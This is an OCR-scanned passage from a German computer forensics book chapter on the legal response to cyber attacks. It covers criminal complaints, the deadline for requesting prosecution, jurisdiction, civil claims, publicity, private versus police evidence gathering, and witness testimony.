den ist oder vermutet wird.

Ist ein Schadensfall aber erst eingetreten, stehen plotzlich eine
ganze Menge Fragen im Raum, die in einem solchen Augenblick aus
Zeitmangel oft nur unzureichend beantwortet werden konnen. In aku-

1. Stefan Becker ist als Kriminalhauptkommissar im Kompetenzcenter Cybercrime im
Landeskriminalamt Nordrhein-Westfalen titig. Seit 1987 im Dienst der Polizei des
Landes Nordrhein-Westfalen wechselte er 1994 nach Abschluss des Studiums an
der Fachhochschule fiir 6ffentliche Verwaltung Koln als Diplomverwaltungswirt
(FH) zur Kriminalpolizei. Im Jahr 2009 absolvierte er den Master of Business
Administration in der Spezialisierung Risk and Fraud Management in Berlin. Mit
der Bekampfung der Computerkriminalitdt befasst er sich seit 1999.
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zivilrechtliche Verfolgung?

ten Problemfillen ist Zeit allerdings ein kostbares Gut. Hat eine Orga-
nisation diese Fragen bereits im Vorfeld ohne Zeitdruck geklirt, kann
mehr Energie fir die Begrenzung des Schadens und die mogliche Ver-
folgung sowie Inanspruchnahme der Tater aufgewandt werden. Die
Zeit, die eine unvorbereitete Firma oder Behorde mit dem Schadens-
management vergeudet, nutzt dem Angreifer sowohl fiir seine direkten
Mafinahmen als auch fiir das Verwischen seiner Spuren.

Professionelle und unverziigliche Reaktion ist oft iiberhaupt nur
dann moglich, wenn im Unternehmen oder der Behorde ein Prozess
stattgefunden hat, in dem sich die Mitarbeiter und Fithrungskrifte mit
moglichen Schadensszenarien und daraus resultierenden adidquaten
Handlungsalternativen auseinandergesetzt haben.

Neben den in Kapitel 3 genannten organisatorischen Vorbereitun-
gen mussen auch in Bezug auf das juristische Vorgehen wesentliche
Fragen geklirt werden:

Wer darf fur welche Vorfille (Netzanbindungen, Warenwirtschaft,
Online-Auftritt, zentrales Mailsystem usw.) die wichtigen Entschei-
dungen treffen? (Darf z.B. der Administrator, der ein Defacement
der Internetprasenz festgestellt hat, diese auch vom Netz nehmen?)
Wer entscheidet dariiber, ob eine Strafanzeige gestellt wird? Dazu
gehort auch die Klarung, wer in der Organisation der Strafantrags-
berechtigte und wer fiir die Einhaltung von Fristen verantwortlich ist.
Wer koordiniert die zu treffenden Mafinahmen?

Wer muss weitere Informationspflichten (Vorstand, Leitungsebene)
erfiillen?

Wer betreut (mit oder ohne Strafverfolger) die Beweiserhebung?
Wer stellt (auch gemeinsam mit den Kriminalbeamten) den Sach-
verhalt schriftlich dar?

Eine Organisation, die diese bzw. die in Kapitel 3 aufgeworfenen Fra-
gen klart und sich durch entsprechende Notfall- und Eskalationsplane,
Erreichbarkeitslisten und weitere MafSnahmen auf ein schidigendes
Ereignis vorbereitet, wird sehr viel professioneller mit dieser Situation
umgehen konnen. Die Entscheidungsfindungsprozesse werden erheb-
lich verkurzt, da die Umsetzungsreihenfolge der zu ergreifenden Maf3-
nahmen bereits in einem groben Fahrplan festgelegt sind. Bei diesen
Uberlegungen sollte aber auch die Innentiterproblematik bedacht und
ggf. bei den zu ergreifenden MafSnahmen beriicksichtigt werden. Hier-
aus ergeben sich dann besondere Anforderungen an die Kommunika-
tion nach innen und aufSen.

Wird ein Angriff festgestellt, sollte umgehend entschieden werden,
ob neben der unmittelbaren Schadensbegrenzung auch eine strafrecht-
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liche und/oder zivilrechtliche Verfolgung des Angreifers angestrebt
wird. Die folgenden Hinweise sollen die Entscheidung erleichtern.

10.2 Strafrechtliches Vorgehen

Eingeleitet wird das Ermittlungsverfahren durch eine Strafanzeige oder
von Amts wegen. Die Erstattung einer Strafanzeige ist in diesem
Deliktsbereich die Regel. Eine Strafverfolgung von Amts wegen kann
stattfinden, wenn eine ganze Reihe von unabhingigen Systemen ange-
griffen wurde und die Ermittlung an einem System zu anderen Gescha-
digten fiihrt.

10.2.1 Inanspruchnahme des Verursachers

Ein Angriff auf das eigene System verursacht Schiaden verschiedenster
Art, wovon die direkten und indirekten finanziellen Schiden haufig im
Vordergrund stehen. Es besteht grundsitzlich die Moglichkeit, den
Angreifer hierfiir zur Verantwortung zu ziehen. Das kann sowohl zivil-
rechtlich als auch strafrechtlich geschehen. Beide Verfahren stehen
grundsitzlich nebeneinander und koénnen unabhingig voneinander
betrieben werden. Ein zivilrechtliches Verfahren ist jedoch erst dann
moglich, wenn der Téter auch wirklich bekannt ist. Es muss ja erst ein
Téater ermittelt werden, der den entstandenen Schaden wiedergut-
machen kann. Die Identifizierung des Verantwortlichen ist ein vor-
dringliches Ziel der Strafverfolgung. Die Strafverfolgungsbehorden
werden, sobald das moglich ist, den Geschadigten die entsprechenden
Personalien des Taters mitteilen. Infolgedessen kann durch die gescha-
digte Organisation die Inanspruchnahme und damit die wirtschaftli-
che Wiedergutmachung auch zivilrechtlich betrieben werden.

10.2.2 Maglichkeiten der Anzeigeerstattung

Ist die Entscheidung zur Strafverfolgung gefallen, stellt sich fiir das
betroffene Unternehmen die Frage, wie die notige Anzeige gestellt wer-
den soll. Eine Strafanzeige ist formlos, das bedeutet, die Anzeige kann
grundsitzlich von jedem Betroffenen, auch von Mitarbeitern, auf jede
Art erstellt werden. Sicher ist die schriftliche Form moglich, aber sehr
viele Anzeigen werden heute auch auf den Polizeidienststellen zu Pro-
tokoll genommen, wenn eine Person einen Sachverhalt miindlich vor-
tragt. Ebenso kann ein Fax oder sogar ein Telefonanruf die ersten
Mafsnahmen der Kriminalpolizei auslosen, wenn diese Informationen
auf Seiten der Polizei als Anzeigenerstattung gewertet werden. Eine

Strafanzeige und
Verfolgung von Amts
wegen

Strafanzeige formlos
stellen
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Ermittler friihzeitig
benachrichtigen

schriftliche Form der Anzeige wird dann zu einem spiteren Zeitpunkt
nachgeholt.

Um einem Beweismittelverlust vorzubeugen, ist eine baldige Reak-
tion der Ermittler wichtig. Dies bedeutet, dass es sinnvoll ist, die Poli-
zei so bald wie moglich zu benachrichtigen. Im Idealfall sollte dies ein
Fachkommissariat fiir Computerkriminalitit? sein. Da die Polizei in
allen Bundeslindern unterschiedlich organisiert ist, haben diese
Dienststellen keine einheitliche Bezeichnung. Ein Anruf in der Telefon-
zentrale der oOrtlich zustindigen Polizei sollte jedoch recht schnell zu
einem zustidndigen Beamten fiihren. Dieser sollte sofort tiber die ersten
Erkenntnisse unterrichtet werden und die Abstimmung und Koordina-
tion der weiteren Maffnahmen iibernehmen.

Der Strafantrag?

Einige Tatbestdnde des Strafgesetzbuches unterliegen dem sogenannten
Strafantragsvorbehalt. Das bedeutet, dass die betreffenden Taten von der
Staatsanwaltschaft nur dann verfolgt werden, wenn ein solcher Antrag vom
dafur Berechtigten rechtzeitig gestellt wird.

Ein Strafantrag ist nichts anderes als eine Erklarung des Betroffenen,
dass er die Strafverfolgung méchte. Dies kann so aussehen:

»|ch stelle hiermit Strafantrag. «

Der Strafantrag muss vom Berechtigten unterschrieben werden. Berechtigt
ist in der Regel der Geschadigte selbst. Bei juristischen Personen ist mei-
stens ein alleinvertretungsberechtigter Geschéftsfuhrer der Strafantragsbe-
rechtigte. Dieser Umstand sollte bereits vor einem schadigenden Ereignis
sorgfaltig geprift werden.

Die Polizeibeamten werden bei der Anzeigenerstattung darauf hinwei-
sen, ob bei den im konkreten Fall einschlagigen Tatbestanden ein Strafan-
trag notwendig ist oder nicht. Welche Tatbestande erfillt worden sind,
ergibt sich oftmals erst im Laufe der Ermittlungen. Ein Strafantrag kann
daher auch vorsorglich gestellt werden. Stellt sich spater heraus, dass ein
solcher Antrag nicht notwendig war, ist dies unschédlich. Da der Strafan-
trag auch von Fristen abhangt, wird in der Praxis oftmals der Strafantrag
bei der Anzeigenerstattung oder kurze Zeit spater angeregt. Die Frist
beginnt mit dem Zeitpunkt, an dem der Geschadigte Kenntnis iber die Tat
und die Taterschaft hat. Das bedeutet, wenn der Geschadigte hinreichend
genau weif3, was flr eine Tat begangen worden ist und durch welche Per-
son sie verlbt wurde, hat er noch maximal drei Monate Zeit, einen Strafan-
trag zu stellen.

2. Auf der Website zum Buch hitp://computer-forensik.org konnen einige Behorden
gefunden werden, die man im Ernstfall ansprechen kann.

3. Zum besseren Verstindnis sei auch ein Blick in die einschligigen Gesetzestexte
empfohlen: § 77 StGB Antragsberechtigte, § 77b StGB Antragsfrist, § 77d StGB
Zuriicknahme des Antrags.
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Verstreicht die Frist und erkennt der Staatsanwalt kein besonderes
offentliches Interesse, wird das Strafverfahren (nur bei den Antragsdelik-
ten!) eingestellt, der Tater nicht verurteilt.

Der Strafantrag hat fur den Anzeigenerstatter den Vorteil, dass er diesen
auch wieder zuriickziehen kann.

Erkennt die Staatsanwaltschaft ein »besonderes 6ffentliches Interesse,
so ist kein Strafantrag notwendig. Das 6ffentliche Interesse ist ein in der
Gesetzessprache verwendeter Begriff, der die Belange der Allgemeinheit
gegenulber Individualinteressen kennzeichnen soll. Ist dies der Fall, kann
die Staatsanwaltschaft trotz fehlenden Strafantrags das Verfahren dennoch
fortfiihren. Ob »besonderes 6ffentliches Interesse« vorliegt, kann immer
nur im Einzelfall entschieden werden. Tatsachlich kommt dieses »beson-
dere o6ffentliche Interesse« eher selten vor.

Das Tatortprinzip

Ein nicht zu vernachlissigender Faktor ist der Umstand des geografi-
schen Ortes, an dem der Schaden eintritt. Zum besseren Verstindnis
ein ganz kurzer Ausflug in die Zustdndigkeitsproblematik: In Deutsch-
land gilt das Tatortprinzip. Am Tatort sind die jeweils betreffenden
ortlichen Behorden und Gerichte zustindig. Der Tatort ist dort, wo der
Tater handelt. Da der Tatort im Bereich der Computerkriminalitit oft-
mals zunichst unbekannt ist, wird in diesem Fall ein sogenannter
»Hilfstatort« angenommen. Der Hilfstatort ist der Ort, an dem der
Schaden eintritt. Somit ist der geografische Standort des angegriffenen
Rechnersystems ein sehr wichtiges Detail.

Befinden sich die betroffenen Server an einem anderen Standort
oder ist bei verteilter Datenhaltung zunichst nicht bekannt, wo das
schadigende Ereignis stattgefunden hat, wird mehr und mehr der Ver-
waltungssitz des Unternehmens oder der Behérde zum »Hilfstatort«.
Das gilt umso mehr, wenn die Systeme vom Verwaltungssitz aus admi-
nistriert werden oder genutzt werden. In der Regel werden die ersten
Mafnahmen* am Verwaltungssitz des Unternehmens erfolgen, im Ver-
lauf der Ermittlungen ist es moglich, dass das Verfahren aufgrund der
geografischen Zusammenhinge oder des ermittelten Taterhandelns
verlagert wird.

Letztlich wird aber der Ermittler, der sich zuerst mit dem Sachver-
halt befasst, die ersten Entscheidungen hierzu treffen. Allerdings wird
jede in der Folge beteiligte Instanz (Polizei, Staatsanwaltschaft und Ge-
richt) zunichst priifen und feststellen, ob der Tatort in ihren Zustian-
digkeitsbereich fallt. Polizei, Staatsanwaltschaften und Gerichte haben

4. Der sogenannte »Erste Angriff«

Rechnerstandort als
»Hilfstatort«

Verwaltungssitz des
Unternehmens
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durchaus unterschiedliche, nicht iiberlappende geografische Gebiete,
fuir die sie zustdndig sind.

Der Betroffene kann sich jedoch im Zweifelsfall an die nachstgele-
gene Polizeidienststelle wenden: Entweder bekommt er dann sofort
Auskunft, welche Stelle zustiandig ist, oder der Vorfall wird aufgenom-
men und an die zustandige Stelle weitergeleitet. Eine telefonische
Anfrage kann auch hier niitzlich sein, denn eine Abgabe an eine andere
Dienststelle auf dem Behordenweg kann einen nicht unerheblichen
Zeitverzug bedeuten. Sinnvoll ist es, wenn eine telefonische Verbin-
dung zu dem sachlich zustindigen Beamten/Dezernenten (fir Compu-
terkriminalitat) hergestellt wird, weil auch die sachliche Zustandigkeit
Auswirkungen auf die ortlich zustindigen Dienststellen haben kann.
Das klingt kompliziert, kann aber in den meisten Fallen durch telefoni-
sche Nachfrage geklirt werden. Diese scheinbare Komplexitit macht
es eigentlich erforderlich, dass man sich idealerweise bereits im Vorfeld
tiber mogliche Zustandigkeiten informiert, gerade wenn die gefahrde-
ten Systeme nicht am Verwaltungssitz betrieben werden.

Stehen die angegriffenen Server aufSerhalb des Geltungsbereiches
des deutschen Strafgesetzbuches, d.h. im Ausland, sollte die Anzeige
auch dort gestellt werden. Eine Anzeigenerstattung sowohl am Haupt-
sitz des Unternehmens und am Standort der Datenverarbeitung kann
in Betracht gezogen werden, wenn zum Beispiel ein Schaden, das kann
auch ein Vermogensschaden sein, an beiden Stellen zu befiirchten ist.
Dann sollte jeweils bei der Anzeigenerstattung auf diesen Umstand
hingewiesen werden. Eine leistungsfahige Strafverfolgung ist diesbe-
ziiglich auch ein Standortfaktor.

10.2.3 Einflussmoglichkeiten auf das Strafverfahren

Die rechtliche Situation bedingt, dass rein formal betrachtet nach
Anzeigenerstattung und Stellung eines Strafantrages der Geschidigte
nur sehr begrenzt Einfluss auf das Strafverfahren hat. In der Praxis ist
jedoch meist eine intensive Zusammenarbeit des Geschadigten mit den
Ermittlern notwendig, um die entsprechenden Beweise so zu erheben,
dass sie auch vor einem deutschen Gericht Bestand haben. Arbeitet der
Geschidigte mit den Behorden zusammen, erhilt er gewisse Einblicke
zum Stand der Ermittlung. Der Staatsanwalt kann den Geschadigten
auf Nachfrage ebenfalls vom Ermittlungsstand unterrichten. Eine wei-
tere Moglichkeit stellt die Akteneinsicht eines vom Geschadigten
beauftragten Rechtsanwalts dar. Weiterhin kann eine Nebenklage
unter Umstinden eine weitere Einflussnahme auf das Verfahren
ermoglichen, dies ist aber nur bei bestimmten Delikten moglich.
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10.3 Zivilrechtliches Vorgehen

Ein zivilrechtliches Vorgehen ist zunachst unabhingig von einem straf-
rechtlichen zu betrachten. Beide Verfahren konnen nebeneinander
betrieben werden. Bevor das zivilrechtliche Verfahren angestrengt wer-
den kann, muss jedoch die Taterschaft gekliart werden. Dies setzt aber
voraus, dass ein Titer ermittelt wurde. Eben diese Frage kann das
Strafverfahren beantworten. In einem Strafverfahren bestehen i.d.R.
bessere Moglichkeiten, an Beweisspuren (z.B. bei einem ISP) zu gelan-
gen als in einem Zivilverfahren. Ist der Tater identifiziert, kann dann
im Zivilprozess das Strafverfahren hinzugezogen werden. Das Prozess-
risiko eines Zivilverfahrens wird grundsitzlich minimiert, wenn ein
Strafverfahren bereits rechtskriftig abgeschlossen wurde.

In einem Zivilverfahren sind die Anforderungen an die Beweis-
kraft nicht so hoch wie in einem Strafverfahren. In einem Zivilverfah-
ren gibt es beispielsweise den » Anscheinsbeweis«”. In unserem Rechts-
system muss der Staat einem Titer seine Tat sicher nachweisen, das
heif3t, die Beweise miissen den hohen Anspriichen des Strafverfahrens
geniigen. Dieser hohe MafSstab ist bei einer zivilrechtlichen Auseinan-
dersetzung nicht unbedingt nétig. Daher wird ein Richter im Zivilpro-
zess in der Regel die Strafakte anfordern und die »hirtere« Beweissitu-
ation aus dem Strafprozess wiirdigen.

Ein weiterer Vorteil der parallelen Verfolgung ist der Umstand,
dass die Ermittlungsbehorden ihre Arbeit dem Geschidigten nicht in
Rechnung stellen. Hinzu kommt, dass notwendige Auskiinfte mit den
Mitteln der Strafprozessordnung auch erzwungen werden konnen.
Selbst wenn den Geschadigten die IP-Adresse des Taters bekannt ist,
werden sie auf zivilrechtlichem Wege nicht so schnell eine Auskunft
iiber den »Besitzer« dieser IP-Adresse vom Provider bekommen, wie
dies den Ermittlungsbehérden moglich ist.

Die Auskunftsgebung tiber diesen Besitzer ist auch fiir die Strafver-
folgung seit dem 2. Mirz 2010 durch das Urteil 1 BvR 256/08, 1 BvR
263/08, 1 BvR 586/08 des Bundesverfassungsgerichtes erschwert wor-
den. So haben die Verfassungsrichter die Speicherung dieser Daten bis
auf Weiteres — bis eine gesetzliche Neuregelung in Kraft tritt — unter-
sagt. Einige Provider speichern aus technischen Griinden ca. 7 Tage, in
solchen Fillen muss der Strafverfolgung auch die Auskunft iiber den
Besitzer der IP-Adresse tibermittelt werden — vorausgesetzt ein entspre-

5. Der Anscheinsbeweis liegt vor, wenn ein Sachverhalt nach der Lebenserfahrung auf
einen bestimmten (typischen) Verlauf hinweist. Wenn ein Vermieter einen Mieter
verklagt, weil die Miete nicht gezahlt wird, geht ein Gericht beispielsweise davon
aus, dass diesem Vermieter die Miete auch zusteht.
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Entscheidung liegt beim
Geschddigten.

Geschddigte befiirchten
Ansehensverlust.

Seltene Verdffentlichung

chender Gerichtsbeschluss liegt rechtzeitig vor. Die Ubermittlung der
Bestandsdaten des Nutzers richtet sich dann nach § 113 TKG.

Es wird deutlich, dass die Geschiadigten zunachst vor der Entschei-
dung stehen, ob eine Verfolgung des Taters betrieben werden soll. Ent-
scheidet man sich dafiir, sollte schnell ein Ermittlungsverfahren in
Gang gesetzt werden. Uber ein zivilrechtliches Verfahren kann dann zu
einem spateren Zeitpunkt entschieden werden.

Wichtig ist hierbei jedoch eine schnelle Entscheidung, da die Mog-
lichkeiten, den Tater zu ermitteln, mit jedem Tag geringer werden.
Dies wissen auch die Ermittlungsbehorden. Wird ein Vorfall erst einige
Wochen nach der Tat angezeigt, besteht die Gefahr, dass die Ermitt-
lungsintensitat hiervon beeinflusst werden konnte.

10.4 Darstellung in der Offentlichkeit

Der Umgang mit Sicherheitsvorfillen wird in den betroffenen Unter-
nehmen unterschiedlich gehandhabt. Wihrend die einen mit dem Vor-
fall offen umgehen und frihzeitig externe Spezialisten hinzuziehen,
befiirchten die anderen die durch eine Ermittlung verursachte Publizi-
tat. Aus Sorge, dass ein Systemeinbruch offentlich gemacht wird, sehen
viele Organisationen dann von einer Strafanzeige ab. Dies hat seine
Ursache darin, dass der dadurch entstehende Ansehensverlust hoher
eingeschitzt wird als der aus dem Einbruch unmittelbar resultierende
Schaden.

Tatsachlich ist jedoch gerade die Veroffentlichung in diesem
Deliktsbereich ausgesprochen selten. Das liegt schon daran, dass viele
der Ermittlungsverfahren mit einem Strafbefehl® und nicht mit einem
Urteil abgeschlossen werden und somit nicht offentlich verhandelt
werden. Nur die Hauptverhandlung — der Teil des Strafprozesses, der
vor einem Gericht in einem Gerichtssaal stattfindet — ist grundsitzlich
offentlich. Ein grofSer Teil der Ermittlungsverfahren im Bereich der
Computerkriminalitit endet jedoch nicht in einer Hauptverhandlung.

Die Entscheidung zu einer Presseveroffentlichung tragt grundsatz-
lich der Staatsanwalt. Dieser muss bei seinen Uberlegungen aber auch
berechtigte Datenschutzinteressen der Geschiddigten beachten. Der
Staatsanwalt wird sich unter anderem davon leiten lassen, ob eine Ver-
offentlichung eine Verbesserung der Ermittlungssituation z.B. durch

6. Das Strafbefehlsverfahren ist ein vereinfachtes Verfahren. Das Strafbefehlsverfahren
bietet dem Straftiter die Moglichkeit, eine Strafe zu akzeptieren, ohne dass es zu
einer — ihm moglicherweise unangenehmen — Hauptverhandlung kommt. Die Ent-
scheidung trifft zunichst der Staatsanwalt, wenn eine Geldstrafe oder eher geringe
Freiheitsstrafe erwogen wird. Das Gericht muss diesem Verfahren zustimmen.
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Hinweise aus der Bevolkerung ergeben konnte und ob dies notwendig
ist. Im Deliktsbereich der Computerkriminalitit sind im Gegensatz zur
Straflenkriminalitit aber mogliche Augenzeugen naturgemaf selten
anzutreffen.

Da eine Information der Offentlichkeit immer auch eine Informa-
tion an den Titer darstellt, wird mit diesem Instrument schon aus
ermittlungstaktischen Griinden sehr vorsichtig umgegangen. Zudem
wird der Geschidigte in der Regel in diesen Entscheidungsprozess mit
eingebunden und hat die Moglichkeit, daran mitzuwirken.

Findet eine Ubermittlung personenbezogener Ermittlungsdaten
durch die Strafverfolgungsbehorden an die Medien statt, ist dies recht-
lich gesehen, eine Dateniibermittlung an Stellen aufSerhalb des offentli-
chen Bereichs. Dies stellt einen Eingriff in das Grundrecht auf informa-
tionelle Selbstbestimmung dar, weswegen hierfiir eine gesetzliche
Grundlage vorhanden sein muss. Bundesweit einheitlich giiltig existie-
ren aber lediglich die »Richtlinien fiir das Straf- und BufSgeldverfah-
ren« (RiStBV). Diese enthalten als Verwaltungsvorschriften allgemeine
Abwigungsregelungen fiir die Zusammenarbeit der Justiz mit Vertre-
tern der Medien.

10.5 Die Beweissituation bei der privaten Ermittlung

Bei der Sammlung von Beweisspuren durch private Ermittler im Auf-
trage geschidigter Personen oder Unternehmen gibt es im Vergleich
zur Ermittlung durch staatliche Strafverfolgungsbehorden einige
Unterschiede. Die Griinde, die zu einer privaten Ermittlung fithren
konnen, sind recht vielfiltig. Die am hiufigsten auftretenden Griinde
sind z.B. die latente Angst vor Veroffentlichung des Vorfalls, das
Bediirfnis, eigene Geheimnisse zu bewahren, und auch oft mangelndes
Vertrauen in die Fahigkeiten der Strafverfolgungsbehorden.

Grundsitzlich gibt es bei der privaten Ermittlung keine Bindung
an die Normen der Strafprozessordnung. Dies bedeutet einerseits, dass
gewisse Auflagen und Vorschriften wihrend der Ermittlung nicht
beachtet werden miissen, z.B. dass bei der Ermittlung im Ausland
keine Rechtshilfe der dortigen Behorden vonnoten ist. Allerdings ste-
hen auch einige der durch die Strafprozessordnung vorgesehenen
Zwangsmittel wie Durchsuchung, Beschlagnahme oder zwangsweise
Vernehmung nicht zur Verfugung. Es ist weiterhin darauf hinzuweisen,
dass selbstverstiandlich alle weiteren Rechtsnormen wie Datenschutz,
Arbeits- und Vertragsrecht, um nur einige zu nennen, auch fiir die pri-
vate Ermittlung bindend bleiben.

Ubermittlung an die
Medien
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Aussage vor Gericht

Beweissituation im Sachbeweis

In Abschnitt 4.6 wurden die technisch-forensischen Anforderungen an
den Sachbeweis (die ermittelten Tatsachen und Feststellungen) deut-
lich gemacht. Werden diese Hinweise befolgt, ist bereits ein sehr hohes
Mafs an Beweisharte gewihrleistet.

Beweissituation im Personalbeweis

Jeder, der mit der Ermittlung eines Systemeinbruchs betraut ist, sollte
sich bewusst sein, dass all seine Wahrnehmungen und Titigkeiten zu
einem vielleicht viel spateren Zeitpunkt vor einem Gericht dargestellt,
gepriift und hinterfragt werden. Viele werden dann vielleicht zum ers-
ten Mal vor einem Gericht stehen und sich in einer Situation wiederfin-
den, die einer miindlichen Abschlusspriifung durchaus dhnlich sein kann.
Deshalb sollte sich jeder auf diese Situation sorgfiltig vorbereiten.

Ein Tipp fiir den Zeugen vor Gericht

Bei jeder Frage, die mir gestellt wird, Uberlege ich zuerst, ob ich
die Antwort sicher weif3: Dann sage ich das auch so.
nur glaube mich erinnern zu kénnen: Dann formuliere ich eine Vermu-
tung.
die Antwort nicht wei3: Dann versuche ich auch nicht, etwas herzuleiten
oder zu erklaren, sondern sage, dass ich etwas nicht weif3.

Noch ein Praxistipp

Wenn ich mich erinnern kann, dass ich eine bestimmte Feststellung
gemacht habe, diese schriftlich fixiert ist, ich mich nunmehr aber nicht mehr
genau an das damals Festgestellte bzw. Geschriebene erinnern kann,
dann kann ich als Zeuge den Vorsitzenden des Gerichts auch fragen, ob er
(der Richter) mir diesen Teil vorlesen kann oder ob ich Einsicht nehmen
darf. Oft fallen einem Details wieder ein, wenn man sich in den Sachverhalt
eingelesen hat.

Sich nicht erinnern zu konnen ist keine Schande. Etwas Falsches zu
sagen, nur an einer Stelle, kann aber die komplette Aussage — den Per-
sonalbeweis — gdnzlich zunichte machen. Ein Zeuge wird unglaubwiir-
dig, wenn sich nachweisen lisst, dass er — auch ohne jede schlechte
Absicht — eine Vermutung als sicheres Wissen darstellt. Wird ihm dies
nachgewiesen, kann seine Aussage, sein Beweis insgesamt, nicht
bewertet werden.

Eine Belehrung, die durch den Richter vor der Befragung im
Hauptverfahren durchgefiithrt wird, kann auch die Darstellung der
Strafbarkeit einer Falschaussage beinhalten. Wer vor einem Richter die
Unwabhrheit sagt, kann auch ohne Vereidigung mit einer Freiheitsstrafe
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sanktioniert werden (vgl. »uneidliche Falschaussage«, Strafrahmen:
Freiheitsstrafe von 3 Monaten bis 5 Jahren, eine Geldstrafe ist nicht
vorgesehen).”

Oft steht die Frage nach der Motivlage des Taters am Anfang der
Ermittlungen. Die Beantwortung dieses Umstandes kann bei der Auf-
klirung hilfreich sein. Dabei entsteht ein Spannungsfeld zwischen
einer denkbaren falschen Verdichtigung (§ 164 StGB) und den sinn-
vollen Vermutungen zu moglichen Beweggriinden. Die Betroffenen der
Straftat mochten sich nicht der Gefahr aussetzen, eine unbeteiligte Per-
son zu »beschuldigen«. Die Losung dieses Problems besteht in der
deutlichen Deklaration einer Vermutung und der Aufrichtigkeit der
Auskunftsperson.

Jeder Sachbeweis, unabhingig davon, wie technisch oder sachlich
das Indiz an sich ist, steht im direkten Zusammenhang mit der Person,
die ihn erhebt. Der Sachbeweis steht und fallt mit der Glaubwiirdigkeit
der erhebenden Person.

Die Glaubwirdigkeit ist von vielen Faktoren abhingig, wichtig
sind u.a. die Integritit der Personlichkeit, die (Fach-)Kenntnisse und
Fihigkeiten sowie die personliche Beziehung zu den Tatumstidnden,
dem Geschidigten und dem Titer.

Jede Person, die sich mit den Umstinden eines Angriffs beschaf-
tigt, sollte jede wahrend der Ermittlung durchgefiihrte Tatigkeit, wie
in Abschnitt 4.6.5 beschrieben, dokumentieren. In einem Wochen oder
Monate spater stattfindenden Gerichtsverfahren ist es so viel leichter,
die Abfolge des eigenen Handelns darzustellen.

Gute Fachkenntnisse und das Wissen, mit welchen Werkzeugen
welche Nachforschungen betrieben werden, sind wichtig. Eine doku-
mentierte Suchstrategie kann hier wertvoll sein. Die Dokumentation
der Ablaufe ist auch fir die direkte Arbeit hilfreich, so werden Redun-
danzen vermieden und ein Blick auf die bisher durchgefithrten Titig-
keiten gibt immer wieder eine Kontrollmoglichkeit, ob in der richtigen
Richtung vorgegangen wird.

Jeder Zeuge steht in einem individuellen Verhaltnis zum Tatge-
schehen, zum Geschidigten und zum Tiater. Diese Stellung kann unter
Umstianden eine wichtige Rolle bei der juristischen Wiirdigung spielen.
Es sei auch nochmals auf die Stellung des Geschiadigten hingewiesen:
In zivilrechtlichen Auseinandersetzungen ist der Geschidigte Prozess-
partei, wahrend er in strafrechtlichen Ermittlungsverfahren ein Zeuge
ist.

7. § 153 StGB Falsche uneidliche Aussage, § 154 StGB Meineid

Glaubwiirdigkeit der
Zeugen

Fachwissen

Zeugen und ihre
Abhdngigkeiten
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Administratoren

Private Ermittler

Kriminalbeamte

Teamarbeit empfohlen

Ein angestellter Administrator steht natirlich auch in einem
Abhingigkeitsverhiltnis zu seinem Vorgesetzten oder seinem Unter-
nehmen. Diese Abhingigkeit kann in einem Strafverfahren von Bedeu-
tung sein. Es ist moglich, dass von einem der Prozessbeteiligten die
Frage aufgeworfen wird, ob der Administrator bei der Beweiserhebung
von diesem Abhingigkeitsverhiltnis in seinen Tatigkeiten beeinflusst
wurde. Dem Administrator konnte unterstellt werden, dass er seiner
Sorgfaltspflicht bei der sicheren Systemadministration nicht nachge-
kommen ist und nun unbedingt einen »Schuldigen« finden mochte.

Es kann auch vorkommen, dass Unzulinglichkeiten in der Archi-
tektur oder im Betrieb von IT-Systemen durch vermeintliche Hacker-
Angriffe verdeckt werden sollen. In diesem Zusammenhang kann dann
die Frage aufkommen, ob Beweise manipuliert worden sind. Ist hier
wie in Abschnitt 4.6 beschrieben vorgegangen worden, kann dieser
Verdacht entkriftet werden.

Weiterhin ist auch zu beriicksichtigen, dass ein mit der privaten
Ermittlung beauftragter externer Spezialist grundsitzlich in einem eher
geringeren MafSe vom Geschiddigten abhingig ist, da fiir ihn die Sicher-
heit der Arbeitsstelle in der Regel nicht im Zusammenhang mit dem
Vorfall steht. Zudem hat er Erfahrung im Umgang mit den Beweismit-
teln und kann die Bedeutung und Hirte des Beweises besser einschit-
zen. Es darf allerdings nicht tibersehen werden, dass auch der externe
Spezialist einer unternehmerisch tatigen Organisation angehort, die
ihrerseits wirtschaftliche Interessen verfolgt.

Ein Kriminalbeamter, der die Beweiserhebung durchfiihrt, ist am
weitesten unabhingig. Er hat grundsitzlich Erfahrung im Umgang mit
Beweisen und kann die notwendige Beweishirte und den damit ver-
bundenen Aufwand abschitzen. Ein auf Computerkriminalitdt spezia-
lisierter Ermittlungsbeamter kennt die Ermittlungsmoglichkeiten, kann
die verschiedenen Wege bewerten, die Erfolgsaussichten priifen und
sollte auch vom Titer absichtlich ausgelegte Trugspuren frithzeitig
erkennen konnen. Seine unabhingige Stellung und seine Erfahrung vor
Gericht bedeuten einen nicht unerheblichen Wert bei der Beweiserhe-
bung.

Unter Umstianden ist die gemeinschaftliche Arbeit von Systemad-
ministratoren, externen Spezialisten und Kriminalbeamten moglich
und kann schnell zum Erfolg fihren.
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Ein Beispiel: Ein Mitarbeiter aus dem Softwareentwicklungsteam
kopiert unberechtigt den Quellcode eines neuen Projektes. Es wird
bekannt, dass er zu einem Konkurrenzunternehmen wechseln will. Es
steht zu befiirchten, dass er den Quellcode bei der Konkurrenz verwen-
den wird. Eine erste Prifung des Arbeitsplatzrechners ergibt, dass er
den Code von einem geschiitzten Server auf eine externe Festplatte
kopiert hat. Werden jetzt alle weiteren Beweiserhebungen nur von
Mitarbeitern der geschidigten Firma durchgefithrt, so konnte die
»Beweishirte« dieser Erhebungen durchaus kritisch hinterfragt wer-
den. Ein Richter, der sich eventuell Wochen spiter mit dem Erlass eines
Durchsuchungsbeschlusses fiir die Wohnung des betreffenden Mitar-
beiters beschaftigt, wird unter anderem die Glaubwiirdigkeit der
Angaben uberpriifen. Ist die Beweiserhebung am System der geschi-
digten Firma durch unabhingige Personen oder durch Kriminalbeamte
erfolgt, so kann das Gericht bei der Abwigung aller Interessen, auch
des Schutzes der Wohnung des potenziellen Verdichtigen, diese
Beweisharte berticksichtigen.

10.6 Fazit

Will man nach einem Angriff Schadenersatz verlangen, so muss der
Titer ausfindig gemacht und zur Verantwortung gezogen werden. Die
Entscheidung, diesen Weg einzuschlagen, sollte frithzeitig erfolgen.
Durch die Moglichkeiten der Strafprozessordnung sind die Ermitt-
lungsbehérden — oft durch Unterstiitzung des Betroffenen — meist
schneller in der Lage, den Verantwortlichen zu identifizieren. Ein zivil-
rechtliches Vorgehen, parallel zum oder nach dem strafrechtlichen Ver-
fahren, sichert die Schadensersatzanspriiche.

